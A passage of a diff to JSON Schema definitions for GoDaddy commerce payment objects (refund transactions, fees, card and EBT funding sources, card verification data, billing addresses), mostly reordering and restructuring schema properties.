"https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" } }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents refund transaction against a payment", + "properties": { + "alternateFundingSource": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", + "EBT_CARD": "./EBTCard.yaml", + "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", + "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", + "PAYMENT_CARD": "./PaymentCard.yaml", + "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" + }, + "propertyName": "sourceType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "properties": { + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } + "additionalProperties": { + "maxLength": 256, + "type": "string" }, - "required": [ - "amount", - "type" - ] + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", + "entryMethod": { + "description": "Entry mode for the card", "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", "writeOnly": true } }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ], - "description": "Current net payment amount" - }, - "fundingSource": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Funding Source", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Card", - "type": "object", - "properties": { - "cardDetail": { - "description": "Card detail", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", - "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] - }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } - }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", - "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" - }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" - } + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" }, - "required": [ - "interacMac", - "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" } - } - }, - "required": [ - "type", - "number", - "source" - ] - }, - "cardVerificationData": { - "writeOnly": true, - "description": "Verification data that can be used to verify the customer information", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1Data": { + "description": "Card track 1 data", + "type": "string", + "writeOnly": true + }, + "track2Data": { + "description": "Card track 2 data", + "type": "string", + "writeOnly": true + }, + "track3Data": { + "description": "Card track 3 data", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" + } + }, + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" + }, + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" } - } - } - }, - "processingInstruction": { - "writeOnly": true, - "description": "Processing instruction to use this funding source", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processing Instruction", - "type": "object", - "properties": { - "signatureRequired": { - "type": "boolean", - "default": false, - "description": "If signature is required for this transaction" }, - "debit": { - "type": "boolean", - "default": false, - "description": "If card should be processed as debit or not" - } + "type": "object", + "writeOnly": true } - } + }, + "title": "Card VerificationData", + "type": "object" }, - "required": [ - "cardDetail" - ] + "processingInstruction": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "debit": { + "default": false, + "description": "If card should be processed as debit or not", + "type": "boolean" + }, + "signatureRequired": { + "default": false, + "description": "If signature is required for this transaction", + "type": "boolean" + } + }, + "title": "Card Processing Instruction", + "type": "object" + } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "EBT Card", - "type": "object", - "properties": { - "cardDetail": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", - "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" + "required": [ + "cardDetail" + ], + "title": "Payment Card", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] - }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true } }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", - "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" - }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" - } + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" }, - "required": [ - "interacMac", - "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" } - } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" }, - "required": [ - "type", - "number", - "source" - ] + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1Data": { + "description": "Card track 1 data", + "type": "string", + "writeOnly": true + }, + "track2Data": { + "description": "Card track 2 data", + "type": "string", + "writeOnly": true + }, + "track3Data": { + "description": "Card track 3 data", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" + } }, - "cardVerificationData": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" + }, + "cardType": { + "enum": [ + "FOOD_STAMP", + "CASH_BENEFIT", + "ELECTRONIC_VOUCHER" + ], + "type": "string" + }, + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" } - } + }, + "type": "object", + "writeOnly": true } }, - "cardType": { - "type": "string", - "enum": [ - "FOOD_STAMP", - "CASH_BENEFIT", - "ELECTRONIC_VOUCHER" - ] - }, - "eVoucherSerial": { - "type": "string" - }, - "eVoucherApprovalCode": { - "type": "string" - } + "title": "Card VerificationData", + "type": "object" }, - "required": [ - "cardDetail", - "cardType" - ] + "eVoucherApprovalCode": { + "type": "string" + }, + "eVoucherSerial": { + "type": "string" + } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GoDaddy PaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "required": [ + "cardDetail", + "cardType" + ], + "title": "EBT Card", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" } - } + }, + "type": "object", + "writeOnly": true } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], 